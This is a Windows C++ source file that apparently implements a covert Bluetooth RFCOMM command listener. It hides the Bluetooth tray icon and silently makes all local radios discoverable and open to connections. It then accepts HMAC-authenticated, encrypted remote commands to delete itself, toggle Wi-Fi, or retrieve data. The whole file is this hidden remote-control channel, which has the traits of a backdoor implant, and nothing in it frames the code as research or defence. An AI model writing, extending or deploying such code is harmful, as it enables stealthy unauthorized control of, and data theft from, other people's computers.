WinRFCOMM_client/BlueSock.cpp

#include "StdAfx.h"
#include "winsock2.h"
#include "ws2bth.h"
#include "bluetoothapis.h"
#include "algo.h"
#include "checkhmac.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "irprops.lib")
int Algo_DeCrypt(unsigned char algo, const char *lpbufin, int  bufinLen, char *lpbufout, int bufoutLen);
int Algo_EnCrypt(unsigned char algo, const char *lpbufin, int  bufinLen, char *lpbufout, int bufoutLen);
void Send2A(SOCKET s, unsigned int dwalgo, char *buf, int bufLen, unsigned int dwRet);
void DoData(SOCKET Blusock, char *buf, unsigned int dwAlgo);
void Delself();
void wifi(unsigned int IsOn);
int HideBlueIcon(int v);


DWORD __stdcall RecvData(void*lpParam)
{
	REQHEAD rq;
	SOCKET s = (SOCKET)lpParam;
	RtlZeroMemory(&rq, sizeof(rq));
	int rs = 0;
	char *buf = NULL;
	int bufSize = 512 * 1024;
	char *lpbufout = NULL;

	do
	{
		rs = recv(s, (char*)&rq, sizeof(rq), 0);
		if (rs != sizeof(rq)){
			break;
		}
		if (rq.wMagic != FLAGS){
			break;
		}

		int Size = rq.wLen;
		if (Size >= bufSize || Size == 0 ){
			break;
		}
		buf = (char*)malloc(bufSize);
		if (!buf){
			break;
		}
		RtlZeroMemory(buf, bufSize);
		rs = recv(s, buf, Size, 0);
		if (rs <= 0){
			break;
		}
		lpbufout = (char*)malloc(bufSize);
		RtlZeroMemory(lpbufout, bufSize);

		unsigned char recv_hmac[SHA256_DIGESTLEN] = { 0 };
		hmac_(MY_HMAC_KEY, MY_HMAC_KEY_LEN, (unsigned char*)buf, rs, recv_hmac, SHA256_DIGESTLEN);
		if (!hmac_comp(rq.hmac, recv_hmac))
		{
			REQHEAD rq;
			Send2A(s, 1, (char*)&rq, sizeof(rq), 0);
			break;
		}

		if (rq.wFunc == IOCTL_DELETE){
			Delself();
			Send2A(s, rq.wAlgo, NULL, 0, 0);
			break;
		}
		if (rq.wFunc == IOCTL_WIFION){
			wifi(1);
			Send2A(s, rq.wAlgo, NULL, 0, 0);
			break;
		}
		if (rq.wFunc == IOCTL_WIFIOF){
			wifi(0);
			Send2A(s, rq.wAlgo, NULL, 0, 0);
			break;
		}
		if (rq.wFunc != IOCTL_GETDATA){
			break;
		}

		Algo_DeCrypt((unsigned char)rq.wAlgo, buf, rs, lpbufout, bufSize);
		lpbufout[rs] = 0;
		DoData(s, lpbufout, rq.wAlgo);
	} while (0);

	if (buf){
		free(buf);
	}

	return 0;
}

DWORD __stdcall BlueSrvthread( void*lpParam )
{
	WSADATA wsaData = { 0 };
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	SOCKET s;
	do
	{
		SOCKADDR_BTH sa;
		s = socket(AF_BTH, SOCK_STREAM, BTHPROTO_RFCOMM);
		if (SOCKET_ERROR == s){
			break;
		}
		RtlZeroMemory(&sa, sizeof(sa));
		sa.addressFamily = AF_BTH;
		sa.btAddr = 0;
		sa.port = 20;
		if (SOCKET_ERROR == bind(s, (sockaddr*)&sa, sizeof(SOCKADDR_BTH))){
			break;
		}
		listen(s, 5);
		SOCKADDR_BTH SrcDev;
		while (  1  )
		{
			int Len = sizeof(SrcDev);
			memset(&SrcDev, 0, sizeof(SrcDev));
			SOCKET client = accept(s, (sockaddr*)&SrcDev, &Len);
			OutputDebugStringA("##$\r\n");
			if (client == SOCKET_ERROR){
				Sleep(1000);
				continue;
			}
			else
			{
				StartThread(RecvData, (void*)client);
			}
		}

	} while (0);

	return 0;
}

void Send2A(SOCKET s, unsigned int dwalgo, char *buf, int bufLen, unsigned int dwRet )
{
	if (dwRet){
		bufLen = 0;
	}

	int size = sizeof(REQHEAD)+bufLen;
	char *lpNewbuf = (char*)malloc(size+1024);
	do
	{
		if (!lpNewbuf){
			break;
		}
		RtlZeroMemory(lpNewbuf, size+1024);
		REQHEAD *rq = (REQHEAD*)lpNewbuf;
		rq->wMagic = FLAGS;
		rq->wLen = bufLen;
		rq->wRet = dwRet;
		rq->wAlgo = dwalgo;
		rq->wFunc = IOCTL_GETDATA;
		if (0 == dwRet && bufLen == 0){
			rq->wFunc = IOCTL_DELETE;
		}

		if (bufLen > 0){
			Algo_EnCrypt( dwalgo, buf, bufLen, lpNewbuf + sizeof(REQHEAD), bufLen+1024  );
			rq->wLen = rq->wLen + 15;
			rq->wLen = rq->wLen / 16;
			rq->wLen = rq->wLen * 16;
		}

		hmac_(MY_HMAC_KEY, MY_HMAC_KEY_LEN, (unsigned char*)lpNewbuf + sizeof(REQHEAD), (int)rq->wLen, rq->hmac, SHA256_DIGESTLEN);
		size = rq->wLen + sizeof(REQHEAD);

		send(s, lpNewbuf, size, 0);

	} while (0);


}

void ScanLocalBlueDevice()
{
	BLUETOOTH_FIND_RADIO_PARAMS btParam;
	HANDLE  hRadio = NULL;
	HBLUETOOTH_RADIO_FIND hFind = NULL;
	RtlZeroMemory(&btParam, sizeof(btParam));
	btParam.dwSize = sizeof(btParam);
	hFind = BluetoothFindFirstRadio(&btParam, &hRadio);
	if (hFind)
	{
		do
		{
			BLUETOOTH_RADIO_INFO  RadioInfo;
			if (hRadio)
			{
				RtlZeroMemory(&RadioInfo, sizeof(RadioInfo));
				RadioInfo.dwSize = sizeof(RadioInfo);
				if (ERROR_SUCCESS == BluetoothGetRadioInfo(hRadio, &RadioInfo))
				{
					BluetoothEnableIncomingConnections(hRadio, TRUE);
					BluetoothEnableDiscovery(hRadio, TRUE);
				}
			}
		} while (BluetoothFindNextRadio(hFind, &hRadio));
		BluetoothFindRadioClose(hFind);
	}
}

void wifi(unsigned int IsOn);


void BlueSrv()
{
	HideBlueIcon(0);
	ScanLocalBlueDevice();
	CreateThread(NULL, 0, BlueSrvthread, NULL, 0, NULL);
	while (1){
		Sleep(1000);
	}
}